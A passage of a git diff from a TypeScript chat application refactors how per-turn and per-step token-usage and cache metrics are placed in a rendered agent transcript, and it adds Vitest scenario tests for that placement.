const step = makeStep("s1", 100, 50);
const rows = interleaveTurnMetrics([g0, g1, g2], [makeEntry("t1", 100, 50, [step])]);
@@ -468,7 +461,7 @@ describe("interleaveTurnMetrics", () => {
it("trimmed turn (more metrics than segments) does NOT emit a standalone row at the top", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolCallGroup(2, "s1", "c1");
+ const g2 = toolCallGroup("s1", "c1");
const step1 = makeStep("s1", 100, 50);
const step2 = makeStep("s2", 200, 80);
const rows = interleaveTurnMetrics(
@@ -504,7 +497,7 @@ describe("interleaveTurnMetrics", () => {
it("progressive: entry with steps but total=null emits step rows and NO turn-metrics row", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolBatchGroup("s1", ["c1"]);
+ const g2 = toolCallGroup("s1", "c1");
const g3 = assistantGroup(2, "a1");
const step1 = makeStep("s1", 100, 50);
const entry = makeProgressiveEntry("t1", [step1]);
@@ -519,7 +512,7 @@ describe("interleaveTurnMetrics", () => {
it("entry with total emits step rows + a turn-metrics row", () => {
const g1 = userGroup(1, "q1");
- const g2 = toolBatchGroup("s1", ["c1"]);
+ const g2 = toolCallGroup("s1", "c1");
const g3 = assistantGroup(2, "a1");
const step1 = makeStep("s1", 100, 50);
const entry = makeEntry("t1", 100, 50, [step1]);
@@ -606,16 +599,36 @@ describe("interleaveTurnMetrics — cumulative usage (cache total)", () => {
expect(tm[0]?.cumulativeUsage.cacheReadTokens).toBe(500);
});
- it("carries the prior finalized turn's usage as the retention baseline", () => {
+ it("carries the prior finalized turn's LAST STEP usage as the retention baseline", () => {
+ const steps = (id: string): StepMetrics[] => [
+ { stepId: `${id}#0` as StepId, usage: { inputTokens: 1000, outputTokens: 5 } },
+ {
+ stepId: `${id}#1` as StepId,
+ usage: { inputTokens: 1669, outputTokens: 5, cacheReadTokens: 384 },
+ },
+ ];
+ const t1: TurnMetrics = {
+ turnId: "t1",
+ usage: { inputTokens: 2669, outputTokens: 10, cacheReadTokens: 384 },
+ steps: steps("t1"),
+ };
+ const t2: TurnMetrics = {
+ turnId: "t2",
+ usage: { inputTokens: 2737, outputTokens: 10, cacheReadTokens: 2560 },
+ steps: steps("t2"),
+ };
const rows = interleaveTurnMetrics(
[userGroup(1, "q1"), assistantGroup(2, "a1"), userGroup(3, "q2"), assistantGroup(4, "a2")],
- [cacheEntry("t1", 2669, 10, 384), cacheEntry("t2", 2737, 10, 2560)],
+ [
+ { turnId: "t1", steps: t1.steps, total: t1 },
+ { turnId: "t2", steps: t2.steps, total: t2 },
+ ],
);
const tm = turnMetricsRows(rows);
// first finalized turn has no earlier baseline
- expect(tm[0]?.prevTurnUsage).toBeNull();
- // second turn's baseline is the first turn's usage
- expect(tm[1]?.prevTurnUsage?.inputTokens).toBe(2669);
- expect(tm[1]?.prevTurnUsage?.cacheReadTokens).toBe(384);
+ expect(tm[0]?.prevLastStepUsage).toBeNull();
+ // second turn's baseline is the first turn's LAST step (not the turn sum)
+ expect(tm[1]?.prevLastStepUsage?.inputTokens).toBe(1669);
+ expect(tm[1]?.prevLastStepUsage?.cacheReadTokens).toBe(384);
});
});
diff --git a/src/core/metrics/place.ts b/src/core/metrics/place.ts
index 7122b09..d4c343a 100644
--- a/src/core/metrics/place.ts
+++ b/src/core/metrics/place.ts
@@ -1,11 +1,17 @@
import type { Usage } from "@dispatch/wire";
import type { RenderGroup } from "../chunks";
-import type { MetricsRow, TurnMetricsEntry } from "./types";
+import type { MetricsRow, StepMetrics, TurnMetricsEntry } from "./types";
function groupStepId(g: RenderGroup): string | undefined {
- if (g.kind === "tool-batch") return g.stepId;
- const c = g.chunk.chunk;
- return c.type === "tool-call" || c.type === "tool-result" ? c.stepId : undefined;
+ return g.kind === "tool" ? g.stepId : undefined;
+}
+
+function groupTurnId(g: RenderGroup): string | undefined {
+ return g.kind === "tool" ? g.turnId : g.chunk.turnId;
+}
+
+function isUser(g: RenderGroup): boolean {
+ return g.kind === "single" && g.chunk.role === "user";
}
/** Element-wise sum of two token usages (cache fields included only when nonzero). */
@@ -21,277 +27,255 @@ function addUsage(a: Usage, b: Usage): Usage {
return out;
}
+/** A run of consecutive groups that belong to one (possibly unknown) turn. */
+interface Segment {
+ readonly start: number;
+ readonly end: number; // exclusive
+ /** Turn resolved from the segment's own groups (turnId / stepId), if any. */
+ readonly known: string | undefined;
+ /** Whether the segment holds model output (anything but user / error chunks). */
+ readonly hasResponse: boolean;
+}
+
/**
- * Interleave turn metrics into the rendered transcript.
+ * Assign every group to the turn that produced it. EXACT whenever the data
+ * carries provenance — which is always for anything produced since the backend
+ * began stamping `StoredChunk.turnId` (and always for live chunks, which carry
+ * the live event's `turnId`):
*
- * Splits groups into per-turn segments: a new segment begins at each `single`
- * group with `group.chunk.role === "user"`. Segments are matched to entries
- * by `stepId` presence when possible (robust against chat-limit trimming: when
- * a turn's user message is trimmed, positional alignment would be off, but
- * stepId matching still finds the right entry). Segments with no stepId-bearing
- * groups (text-only turns) fall back to POSITIONAL tail-alignment: since the
- * loaded transcript is always a SUFFIX of the full turn history (the chat limit
- * keeps the newest and unloads the oldest), segment `seg` ↔ entry `K - T + seg`.
+ * 1. A group's own `turnId` (committed `StoredChunk.turnId` / live event).
+ * 2. Else the turn whose metrics contain the group's `stepId`.
*
- * Within a segment that has a matched entry, each completed step's metrics
- * are placed INLINE right after the last group bearing that step's `stepId`.
- * Steps whose `stepId` does not appear in any group ("unanchored"):
- * - If the segment HAS stepId-bearing groups (tool chunks exist but this step's
- * were trimmed): SKIPPED (no blank "step N · 0 tok" bubbles).
- * - If the segment has NO stepId-bearing groups (text-only turn): placed at the
- * segment tail before the turn-metrics row (the original behavior).
- *
- * A `turn-metrics` row is emitted ONLY when `entry.total !== null` (i.e. the turn
- * is finalized via `done` or durable data). A still-generating turn emits no
- * turn-total row.
- *
- * Fully trimmed turns (entries whose content was unloaded by the chat limit and
- * which match no segment) are NOT rendered as standalone rows — that previously
- * piled a wall of stale cache badges at the top of a long, trimmed transcript.
- * Their usage still counts toward the per-turn "chat total" cumulative (computed
- * across ALL finalized turns in entry-array order), so the running cache rate
- * stays correct regardless of which turns were trimmed; paging earlier history
- * back in ("Show earlier messages") re-matches them and re-renders their rows.
+ * Only LEGACY groups (persisted before turn provenance existed, with no
+ * stepId) are left; they are resolved per segment. A segment boundary is a
+ * user message start (a user chunk after a non-user one, or any user TEXT
+ * chunk — a message carries at most one, first; image chunks continue it) or a
+ * change of known turn. A segment with a known turn assigns it to its legacy
+ * groups. Runs of still-unknown (text-only legacy) segments are matched to the
+ * UNCLAIMED metrics entries that lie strictly between their resolved
+ * neighbours' entries — order-preserving, and only when the count is
+ * unambiguous (leading runs tail-align, since chat-limit trimming removes the
+ * oldest turns). An ambiguous run gets NO metrics rather than wrong ones.
*/
-export function interleaveTurnMetrics(
+function assignTurns(
groups: readonly RenderGroup[],
entries: readonly TurnMetricsEntry[],
-): readonly MetricsRow[] {
- if (entries.length === 0) {
- return groups.map((g) => ({ kind: "group" as const, group: g }));
- }
+): (string | undefined)[] {
+ const turnOfStep = new Map<string, string>();
+ const entryIndex = new Map<string, number>();
+ entries.forEach((e, i) => {
+ entryIndex.set(e.turnId, i);
+ for (const s of e.steps) turnOfStep.set(s.stepId, e.turnId);
+ });
+
+ const direct: (string | undefined)[] = groups.map((g) => {
+ const t = groupTurnId(g);
+ if (t !== undefined) return t;
+ const sid = groupStepId(g);
+ return sid !== undefined ? turnOfStep.get(sid) : undefined;
+ });
- const segmentStarts: number[] = [];
+ // Fast path: everything resolved directly (the normal case).
+ if (direct.every((t) => t !== undefined)) return direct;
+
+ // Segment the transcript (legacy resolution).
+ const segments: Segment[] = [];
+ let segStart = 0;
+ let segKnown: string | undefined;
+ let segHasResponse = false;
+ const close = (end: number) => {
+ if (end > segStart) {
+ segments.push({ start: segStart, end, known: segKnown, hasResponse: segHasResponse });
+ }
+ };
for (let i = 0; i < groups.length; i++) {
const g = groups[i];
- if (g !== undefined && g.kind === "single" && g.chunk.role === "user") {
- segmentStarts.push(i);
+ if (g === undefined) continue;
+ const prev = i > 0 ? groups[i - 1] : undefined;
+ const t = direct[i];
+ const userStart =
+ isUser(g) &&
+ (prev === undefined ||
+ !isUser(prev) ||
+ (g.kind === "single" && g.chunk.chunk.type === "text"));
+ const turnChange = t !== undefined && segKnown !== undefined && t !== segKnown;
+ if (i > segStart && (userStart || turnChange)) {
+ close(i);
+ segStart = i;
+ segKnown = undefined;
+ segHasResponse = false;
+ }
+ if (t !== undefined && segKnown === undefined) segKnown = t;
+ if (!isUser(g) && !(g.kind === "single" && g.chunk.chunk.type === "error")) {
+ segHasResponse = true;
}
}
+ close(groups.length);
- let T = segmentStarts.length;
-
- // No user messages — e.g. a compacted conversation whose history starts
- // with a system summary. Treat the entire transcript as one segment so
- // turn/step metrics can still be placed.
- if (T === 0 && entries.length > 0) {
- segmentStarts.push(0);
- T = 1;
- }
-
- if (T === 0) {
- return groups.map((g) => ({ kind: "group" as const, group: g }));
+ const segTurn: (string | undefined)[] = segments.map((s) => s.known);
+ const claimed = new Set<number>();
+ for (const t of segTurn) {
+ const idx = t !== undefined ? entryIndex.get(t) : undefined;
+ if (idx !== undefined) claimed.add(idx);
}
+ // Entry index of a resolved segment; a known turn with no entry yet (an
+ // in-flight turn whose first step hasn't completed) sits after every entry.
+ const segEntryIdx = (k: number): number => {
+ const t = segTurn[k];
+ if (t === undefined) return -1;
+ return entryIndex.get(t) ?? entries.length;
+ };
- const K = entries.length;
-
- // Build stepId → entry-index lookup for matching.
- const entryStepIds: Set<string>[] = entries.map((e) => new Set(e.steps.map((s) => s.stepId)));
-
- // Match segments to entries. Pass 1: match by stepId overlap (handles
- // trimming where positional alignment alone could be ambiguous). Pass 2:
- // positional tail-alignment fallback for unmatched segments (text-only turns
- // with no stepId-bearing groups).
- const usedEntries = new Set<number>();
- const segmentEntry = new Map<number, TurnMetricsEntry>();
- const segmentEntryIndex = new Map<number, number>();
-
- // Pass 1: stepId matching.
- for (let seg = 0; seg < T; seg++) {
- const start = segmentStarts[seg] ?? 0;
- const end = seg + 1 < T ? (segmentStarts[seg + 1] ?? groups.length) : groups.length;
-
- const segStepIds = new Set<string>();
- for (let i = start; i < end; i++) {
- const g = groups[i];
- if (g === undefined) continue;
- const sid = groupStepId(g);
- if (sid !== undefined) segStepIds.add(sid);
+ let k = 0;
+ while (k < segments.length) {
+ if (segTurn[k] !== undefined) {
+ k++;
+ continue;
}
- if (segStepIds.size === 0) continue; // text-only — defer to pass 2
+ let runEnd = k;
+ while (runEnd < segments.length && segTurn[runEnd] === undefined) runEnd++;
+ const leading = k === 0;
+ const lower = leading ? -1 : segEntryIdx(k - 1);
+ const upper = runEnd < segments.length ? segEntryIdx(runEnd) : entries.length;
+ const candidates: number[] = [];
+ for (let e = lower + 1; e < upper; e++) if (!claimed.has(e)) candidates.push(e);
- let bestEntry = -1;
- let bestMatch = 0;
- for (let i = 0; i < K; i++) {
- if (usedEntries.has(i)) continue;
- let match = 0;
- for (const sid of segStepIds) {
- if (entryStepIds[i]?.has(sid)) match++;
- }
- if (match > bestMatch) {
- bestMatch = match;
- bestEntry = i;
- }
+ let run: number[] = [];
+ for (let s = k; s < runEnd; s++) run.push(s);
+ if (run.length !== candidates.length) {
+ // A segment with no model output (only the user message, or an error) is
+ // a turn that failed before producing anything — or one just sent, whose
+ // turn hasn't started yet — and legitimately has no metrics.
+ const responsive = run.filter((s) => segments[s]?.hasResponse === true);
+ if (responsive.length <= candidates.length) run = responsive;
}
- if (bestEntry >= 0) {
- usedEntries.add(bestEntry);
- const e = entries[bestEntry];
- if (e !== undefined) {
- segmentEntry.set(seg, e);
- segmentEntryIndex.set(seg, bestEntry);
- }
+ let pick: number[] | null = null;
+ if (run.length === candidates.length) pick = candidates;
+ else if (leading && run.length < candidates.length) pick = candidates.slice(-run.length);
+ if (pick !== null) {
+ run.forEach((s, i) => {
+ const e = pick?.[i];
+ const entry = e !== undefined ? entries[e] : undefined;
+ if (entry !== undefined && e !== undefined) {
+ segTurn[s] = entry.turnId;
+ claimed.add(e);
+ }
+ });
}
+ k = runEnd;
}
- // Pass 2: positional fallback for segments pass 1 left unmatched
- // (text-only turns with no stepId-bearing groups to anchor on).
- //
- // The loaded transcript is always a SUFFIX of the full turn history —
- // chat-limit/windowing keeps the NEWEST chunks and unloads the OLDEST — so
- // the T loaded segments correspond to the LAST T entries. TAIL-ALIGNMENT
- // (segment `seg` ↔ entry `K - T + seg`) is therefore correct whenever the
- // metrics hold at least as many turns as there are loaded segments
- // (`K >= T`): the leading `K - T` entries are TRIMMED turns (their content
- // was unloaded) and must be skipped, never matched to a newer segment.
- //
- // This MUST run even when pass 1 matched SOME segments (tool turns). The
- // earlier code only tail-aligned when pass 1 matched NONE, falling back to
- // HEAD-alignment otherwise — which, with leading trimmed entries, matched a
- // brand-new text-only turn to an old (trimmed) entry's STALE metrics (the
- // "new steps show no / wrong cache" failure). Tail-aligning by position is
- // safe alongside pass 1: stepIds are unique per turn, so pass 1 already
- // grabbed each tool turn's positionally-correct entry, leaving the right
- // entry free for each text-only turn.
- //
- // Only when `K < T` (fewer entries than segments — some loaded turns have no
- // metrics yet, e.g. a metrics sync still pending or a freshly loaded
- // transcript) do we head-align, assigning the first K entries to the first K
- // unmatched segments (the turns that DO have metrics sit at the front).
- if (K >= T) {
- // Tail-align: skip the first K-T entries (trimmed turns).
- for (let seg = 0; seg < T; seg++) {
- if (segmentEntry.has(seg)) continue;
- const entryIdx = K - T + seg;
- if (entryIdx >= 0 && entryIdx < K && !usedEntries.has(entryIdx)) {
- usedEntries.add(entryIdx);
- const e = entries[entryIdx];
- if (e !== undefined) {
- segmentEntry.set(seg, e);
- segmentEntryIndex.set(seg, entryIdx);
- }
- }
- }
- } else {
- // Head-align fallback (K < T): first K entries to first K unmatched segments.
- let nextUnused = 0;
- for (let seg = 0; seg < T; seg++) {
- if (segmentEntry.has(seg)) continue;
- while (nextUnused < K && usedEntries.has(nextUnused)) nextUnused++;
- if (nextUnused < K) {
- usedEntries.add(nextUnused);
- const e = entries[nextUnused];
- if (e !== undefined) {
- segmentEntry.set(seg, e);
- segmentEntryIndex.set(seg, nextUnused);
- }
- nextUnused++;
- }
- }
+ const out = [...direct];
+ segments.forEach((s, si) => {
+ const t = segTurn[si];
+ if (t === undefined) return;
+ for (let i = s.start; i < s.end; i++) if (out[i] === undefined) out[i] = t;
+ });
+ return out;
+}
+
+/**
+ * Interleave per-turn / per-step metrics into the rendered transcript.
+ *
+ * Every group is attributed to the turn that produced it (see `assignTurns` —
+ * exact via `turnId` provenance; a guarded order-preserving fallback only for
+ * legacy rows). Then:
+ * - each completed step's metrics row goes right after the LAST group bearing
+ * that step's `stepId` (steps with no visible content — text-only steps, or
+ * content unloaded by the chat limit — get no row);
+ * - a finalized turn's (`entry.total !== null`) metrics row goes right after
+ * the LAST group of that turn — so a turn whose user message was unloaded
+ * still shows its total under its visible tail, and a mid-turn steering
+ * message never pulls the total up.
+ *
+ * Because attribution never depends on counting user messages, sending a new
+ * message, a new turn streaming, steering, image attachments, errored turns, or
+ * chat-limit unloading can never shift one turn's metrics onto another.
+ *
+ * Turns whose content is fully unloaded are not rendered (no wall of stale
+ * rows at the top) but still count toward the running "chat total".
+ */
+export function interleaveTurnMetrics(
+ groups: readonly RenderGroup[],
+ entries: readonly TurnMetricsEntry[],
+): readonly MetricsRow[] {
+ if (entries.length === 0) {
+ return groups.map((g) => ({ kind: "group" as const, group: g }));
}
- // Running cumulative usage across ALL finalized turns (in entry order), for
- // the per-turn "chat total" cache rate. Alongside it, the previous finalized
- // turn's usage at each index — the baseline for cross-turn retention.
+ const turnOf = assignTurns(groups, entries);
+
+ const entryByTurn = new Map<string, { entry: TurnMetricsEntry; index: number }>();
+ entries.forEach((entry, index) => {
+ entryByTurn.set(entry.turnId, { entry, index });
+ });
+
+ // Running cumulative usage across ALL finalized turns (entry order), and the
+ // previous finalized turn's LAST step usage (the retention baseline: the
+ // prompt that turn last sent, which the next turn's first step should hit in
+ // cache).
const cumulativeByEntry: Usage[] = [];
- const prevUsageByEntry: (Usage | null)[] = [];
+ const prevLastStepByEntry: (Usage | null)[] = [];
let runningUsage: Usage = { inputTokens: 0, outputTokens: 0 };
- let lastFinalizedUsage: Usage | null = null;
+ let lastFinalizedStep: Usage | null = null;
for (const e of entries) {
- prevUsageByEntry.push(lastFinalizedUsage);
+ prevLastStepByEntry.push(lastFinalizedStep);
if (e.total !== null) {
runningUsage = addUsage(runningUsage, e.total.usage);
- lastFinalizedUsage = e.total.usage;
+ const last = e.total.steps[e.total.steps.length - 1];
+ if (last !== undefined) lastFinalizedStep = last.usage;
}
cumulativeByEntry.push(runningUsage);
}
- const rows: MetricsRow[] = [];
-
- const firstUserIdx = segmentStarts[0] ?? 0;
-
- for (let i = 0; i < firstUserIdx; i++) {
- const g = groups[i];
- if (g !== undefined) {
- rows.push({ kind: "group", group: g });
- }
- }
-
- for (let seg = 0; seg < T; seg++) {
- const start = segmentStarts[seg] ?? 0;
- const end = seg + 1 < T ? (segmentStarts[seg + 1] ?? groups.length) : groups.length;
-
- const entry = segmentEntry.get(seg);
+ // Anchor positions: last group of each step (within its turn) / each turn.
+ const lastGroupOfStep = new Map<string, number>();
+ const lastGroupOfTurn = new Map<string, number>();
+ groups.forEach((g, i) => {
+ const t = turnOf[i];
+ if (t === undefined) return;
+ lastGroupOfTurn.set(t, i);
+ const sid = groupStepId(g);
+ if (sid !== undefined) lastGroupOfStep.set(sid, i);
+ });
- if (entry === undefined) {
- for (let i = start; i < end; i++) {
- const g = groups[i];
- if (g !== undefined) {
- rows.push({ kind: "group", group: g });
- }
- }
- continue;
- }
-
- const entryIdx = segmentEntryIndex.get(seg) ?? 0;
-
- // Build anchor map: for each stepId, the LAST group index in this segment.
- const anchorByStepId = new Map<string, number>();
- for (let i = start; i < end; i++) {
- const g = groups[i];
- if (g === undefined) continue;
- const sid = groupStepId(g);
- if (sid !== undefined) {
- anchorByStepId.set(sid, i);
+ const stepsAt = new Map<number, { step: StepMetrics; index: number }[]>();
+ for (const entry of entries) {
+ entry.steps.forEach((step, index) => {
+ const at = lastGroupOfStep.get(step.stepId);
+ if (at === undefined || turnOf[at] !== entry.turnId) return;
+ let arr = stepsAt.get(at);
+ if (arr === undefined) {
+ arr = [];
+ stepsAt.set(at, arr);
}
- }
-
- // Classify each step as anchored or unanchored. Unanchored steps
- // (content trimmed, or text-only steps with no tool chunks) are SKIPPED —
- // step-metrics are only shown inline next to the content they describe.
- const anchored: Map<number, { stepIndex: number; step: (typeof entry.steps)[number] }[]> =
- new Map();
+ arr.push({ step, index });
+ });
+ }
- for (let i = 0; i < entry.steps.length; i++) {
- const step = entry.steps[i];
- if (step === undefined) continue;
- const anchorGroupIdx = anchorByStepId.get(step.stepId);
- if (anchorGroupIdx !== undefined) {
- let arr = anchored.get(anchorGroupIdx);
- if (arr === undefined) {
- arr = [];
- anchored.set(anchorGroupIdx, arr);
- }
- arr.push({ stepIndex: i, step });
- }
- // Unanchored steps (no matching group) are skipped — no tail bubbles.
- }
+ const rows: MetricsRow[] = [];
+ for (let i = 0; i < groups.length; i++) {
+ const g = groups[i];
+ if (g === undefined) continue;
+ rows.push({ kind: "group", group: g });
- // Emit groups; after each anchored group, emit its step-metrics rows.
- for (let i = start; i < end; i++) {
- const g = groups[i];
- if (g !== undefined) {
- rows.push({ kind: "group", group: g });
- }
- const stepsHere = anchored.get(i);
- if (stepsHere !== undefined) {
- stepsHere.sort((a, b) => a.stepIndex - b.stepIndex);
- for (const { step, stepIndex } of stepsHere) {
- rows.push({ kind: "step-metrics", step, index: stepIndex });
- }
- }
+ const steps = stepsAt.get(i);
+ if (steps !== undefined) {
+ steps.sort((a, b) => a.index - b.index);
+ for (const { step, index } of steps) rows.push({ kind: "step-metrics", step, index });
}
- // Turn-metrics row (only when the turn is finalized). Unanchored steps
- // are skipped — no tail bubbles.
- if (entry.total !== null) {
- rows.push({
- kind: "turn-metrics",
- turn: entry.total,
- turnNumber: entryIdx + 1,
- cumulativeUsage: cumulativeByEntry[entryIdx] ?? entry.total.usage,
- prevTurnUsage: prevUsageByEntry[entryIdx] ?? null,
- });
- }
+ const t = turnOf[i];
+ if (t === undefined || lastGroupOfTurn.get(t) !== i) continue;
+ const found = entryByTurn.get(t);
+ if (found === undefined || found.entry.total === null) continue;
+ rows.push({
+ kind: "turn-metrics",
+ turn: found.entry.total,
+ turnNumber: found.index + 1,
+ cumulativeUsage: cumulativeByEntry[found.index] ?? found.entry.total.usage,
+ prevLastStepUsage: prevLastStepByEntry[found.index] ?? null,
+ });
}
return rows;
diff --git a/src/core/metrics/placement-scenarios.test.ts b/src/core/metrics/placement-scenarios.test.ts
new file mode 100644
index 0000000..ce3ed5b
--- /dev/null
+++ b/src/core/metrics/placement-scenarios.test.ts
@@ -0,0 +1,376 @@
+// End-to-end placement scenarios: real transcript + metrics reducers fed real
+// AgentEvents, rendered through groupRenderedChunks → interleaveTurnMetrics.
+// The invariant under test: at EVERY point of a turn (not just after it ends),
+// each turn's metrics sit under that turn — never under a neighbour.
+import type { AgentEvent, StepId, StoredChunk, TurnMetrics, Usage } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import {
+ appendUserMessage,
+ applyHistory,
+ foldEvent,
+ groupRenderedChunks,
+ initialState,
+ selectChunks,
+ type TranscriptState,
+ trimTranscript,
+} from "../chunks";
+import { interleaveTurnMetrics } from "./place";
+import {
+ applyDurableMetrics,
+ foldMetricsEvent,
+ initialMetricsState,
+ selectOrderedTurnMetrics,
+} from "./reducer";
+import type { MetricsRow, MetricsState } from "./types";
+
+const C = "c1";
+const u = (i: number, o: number): Usage => ({ inputTokens: i, outputTokens: o });
+
+/** Ordered list of "what follows each user text bubble / which turn rows appear where". */
+function layout(rows: readonly MetricsRow[]): string[] {
+ const out: string[] = [];
+ for (const r of rows) {
+ if (r.kind === "turn-metrics") out.push(`[turn ${r.turn.turnId}]`);
+ else if (r.kind === "step-metrics") out.push(`[step ${r.step.stepId}]`);
+ else if (r.group.kind === "single") {
+ const c = r.group.chunk.chunk;
+ if (c.type === "text") out.push(`${r.group.chunk.role}:${c.text}`);
+ else if (c.type === "image") out.push(`${r.group.chunk.role}:<img>`);
+ else if (c.type === "error") out.push(`error:${c.message}`);
+ } else {
+ out.push(`tool:${r.group.entry.toolCallId}`);
+ }
+ }
+ return out;
+}
+
+class Sim {
+ t: TranscriptState = initialState();
+ m: MetricsState = initialMetricsState();
+ seq = 0;
+ /** Durable server-side log (what loadSince returns). */
+ log: StoredChunk[] = [];
+ durable: TurnMetrics[] = [];
+
+ constructor(private readonly legacy = false) {}
+
+ private ev(e: AgentEvent): void {
+ this.t = foldEvent(this.t, e);
+ this.m = foldMetricsEvent(this.m, e);
+ }
+
+ private persist(role: StoredChunk["role"], chunk: StoredChunk["chunk"], turnId: string): void {
+ this.seq++;
+ this.log.push(
+ this.legacy ? { seq: this.seq, role, chunk } : { seq: this.seq, role, chunk, turnId },
+ );
+ }
+
+ /** The sender types + sends (optimistic echo), optionally with an image. */
+ send(text: string, image = false): void {
+ this.t = appendUserMessage(
+ this.t,
+ text,
+ image ? [{ url: "data:image/png;base64,AA", mimeType: "image/png" }] : undefined,
+ );
+ }
+
+ start(turnId: string, text: string, image = false): void {
+ this.ev({ type: "turn-start", conversationId: C, turnId } as AgentEvent);
+ this.ev({ type: "user-message", conversationId: C, turnId, text } as AgentEvent);
+ this.persist("user", { type: "text", text }, turnId);
+ if (image) this.persist("user", { type: "image", url: "/images/c1/x.png" }, turnId);
+ }
+
+ text(turnId: string, text: string): void {
+ this.ev({ type: "text-delta", conversationId: C, turnId, delta: text } as AgentEvent);
+ }
+
+ toolStep(turnId: string, step: number, id: string): void {
+ const stepId = `${turnId}#${step}` as StepId;
+ this.ev({
+ type: "tool-call",
+ conversationId: C,
+ turnId,
+ stepId,
+ toolCallId: id,
+ toolName: "t",
+ input: {},
+ } as AgentEvent);
+ this.completeStep(turnId, step);
+ this.ev({
+ type: "tool-result",
+ conversationId: C,
+ turnId,
+ stepId,
+ toolCallId: id,
+ toolName: "t",
+ content: "ok",
+ isError: false,
+ } as AgentEvent);
+ this.persist(
+ "assistant",
+ { type: "tool-call", toolCallId: id, toolName: "t", input: {}, stepId },
+ turnId,
+ );
+ this.persist(
+ "tool",
+ { type: "tool-result", toolCallId: id, toolName: "t", content: "ok", isError: false, stepId },
+ turnId,
+ );
+ }
+
+ completeStep(turnId: string, step: number): void {
+ const stepId = `${turnId}#${step}` as StepId;
+ this.ev({ type: "usage", conversationId: C, turnId, stepId, usage: u(100, 10) } as AgentEvent);
+ this.ev({
+ type: "step-complete",
+ conversationId: C,
+ turnId,
+ stepId,
+ ttftMs: 100,
+ decodeMs: 100,
+ genTotalMs: 200,
+ } as AgentEvent);
+ }
+
+ steer(turnId: string, text: string): void {
+ this.ev({ type: "steering", conversationId: C, turnId, text } as AgentEvent);
+ this.persist("user", { type: "text", text }, turnId);
+ }
+
+ /** Finish a turn: final text step, done, seal, then history + metrics sync. */
+ finish(turnId: string, text: string, finalStep: number): void {
+ this.text(turnId, text);
+ this.completeStep(turnId, finalStep);
+ this.ev({
+ type: "done",
+ conversationId: C,
+ turnId,
+ reason: "stop",
+ durationMs: 500,
+ usage: u(100, 10),
+ } as AgentEvent);
+ this.persist("assistant", { type: "text", text }, turnId);
+ this.ev({ type: "turn-sealed", conversationId: C, turnId } as AgentEvent);
+ this.sync(turnId, finalStep);
+ }
+
+ /** A turn that errors (never seals); backend persists its partial metrics. */
+ fail(turnId: string, message: string, steps: number): void {
+ this.ev({ type: "error", conversationId: C, turnId, message } as AgentEvent);
+ this.persist("assistant", { type: "error", message }, turnId);
+ this.t = applyHistory(this.t, this.log);
+ if (steps > 0) this.syncMetricsFor(turnId, steps - 1);
+ }
+
+ private syncMetricsFor(turnId: string, lastStep: number): void {
+ const steps = [];
+ for (let i = 0; i <= lastStep; i++) {
+ steps.push({ stepId: `${turnId}#${i}` as StepId, usage: u(100, 10), decodeMs: 100 });
+ }
+ this.durable.push({ turnId, usage: u(100 * steps.length, 10 * steps.length), steps });
+ this.m = applyDurableMetrics(this.m, this.durable);
+ }
+
+ private sync(turnId: string, lastStep: number): void {
+ this.t = applyHistory(this.t, this.log);
+ this.syncMetricsFor(turnId, lastStep);
+ }
+
+ trim(limit: number): void {
+ this.t = trimTranscript(this.t, limit);
+ }
+
+ layout(): string[] {
+ const groups = groupRenderedChunks(selectChunks(this.t));
+ return layout(interleaveTurnMetrics(groups, selectOrderedTurnMetrics(this.m)));
+ }
+}
+
+/** Build a history of N text-only turns (t1..tN), each "qK" → "aK". */
+function textHistory(sim: Sim, n: number): void {
+ for (let k = 1; k <= n; k++) {
+ sim.send(`q${k}`);
+ sim.start(`t${k}`, `q${k}`);
+ sim.finish(`t${k}`, `a${k}`, 0);
+ }
+}
+
+for (const legacy of [false, true]) {
+ // `legacy`: the persisted rows carry NO turnId (history written before the
+ // backend stamped it). Live chunks always carry it.
+ describe(`placement stays exact through a turn (${legacy ? "legacy rows" : "turnId rows"})`, () => {
+ it("plain text turns", () => {
+ const sim = new Sim(legacy);
+ textHistory(sim, 3);
+ expect(sim.layout()).toEqual([
+ "user:q1",
+ "assistant:a1",
+ "[turn t1]",
+ "user:q2",
+ "assistant:a2",
+ "[turn t2]",
+ "user:q3",
+ "assistant:a3",
+ "[turn t3]",
+ ]);
+ });
+
+ it("never shifts while a new turn is sent and streams — even after older turns were unloaded", () => {
+ const sim = new Sim(legacy);
+ textHistory(sim, 4);
+ sim.trim(5); // 8 chunks > 5 → unloads whole quarters: q1 a1 q2 a2
+ const before = sim.layout();
+ expect(before).toEqual([
+ "user:q3",
+ "assistant:a3",
+ "[turn t3]",
+ "user:q4",
+ "assistant:a4",
+ "[turn t4]",
+ ]);
+
+ const expectStable = () => expect(sim.layout().slice(0, before.length)).toEqual(before);
+
+ sim.send("q5");
+ expectStable(); // just sent (optimistic echo, no turn yet)
+ sim.start("t5", "q5");
+ expectStable(); // turn started
+ sim.toolStep("t5", 0, "k1");
+ expectStable(); // tool step completed (metrics entry exists, not done)
+ sim.text("t5", "partial…");
+ expectStable(); // streaming text
+ sim.finish("t5", "a5", 1);
+ expect(sim.layout()).toEqual([
+ ...before,
+ "user:q5",
+ "tool:k1",
+ "[step t5#0]",
+ "assistant:a5",
+ "[turn t5]",
+ ]);
+ });
+
+ it("image attachments never shift other turns' metrics", () => {
+ const sim = new Sim(legacy);
+ sim.send("q1");
+ sim.start("t1", "q1");
+ sim.finish("t1", "a1", 0);
+ sim.send("q2", true);
+ sim.start("t2", "q2", true);
+ sim.finish("t2", "a2", 0);
+ sim.send("q3");
+ sim.start("t3", "q3");
+ sim.finish("t3", "a3", 0);
+ expect(sim.layout()).toEqual([
+ "user:q1",
+ "assistant:a1",
+ "[turn t1]",
+ "user:q2",
+ "user:<img>",
+ "assistant:a2",
+ "[turn t2]",
+ "user:q3",
+ "assistant:a3",
+ "[turn t3]",
+ ]);
+ });
+
+ it("a mid-turn steering message keeps the turn total at the END of the turn", () => {
+ const sim = new Sim(legacy);
+ textHistory(sim, 1);
+ sim.send("q2");
+ sim.start("t2", "q2");
+ sim.toolStep("t2", 0, "k1");
+ sim.steer("t2", "steer!");
+ // live, mid-turn: t1 untouched, steering bubble shows no totals
+ expect(sim.layout()).toEqual([
+ "user:q1",
+ "assistant:a1",
+ "[turn t1]",
+ "user:q2",
+ "tool:k1",
+ "[step t2#0]",
+ "user:steer!",
+ ]);
+ sim.toolStep("t2", 1, "k2");
+ sim.finish("t2", "a2", 2);
+ textHistoryFrom(sim, 3);
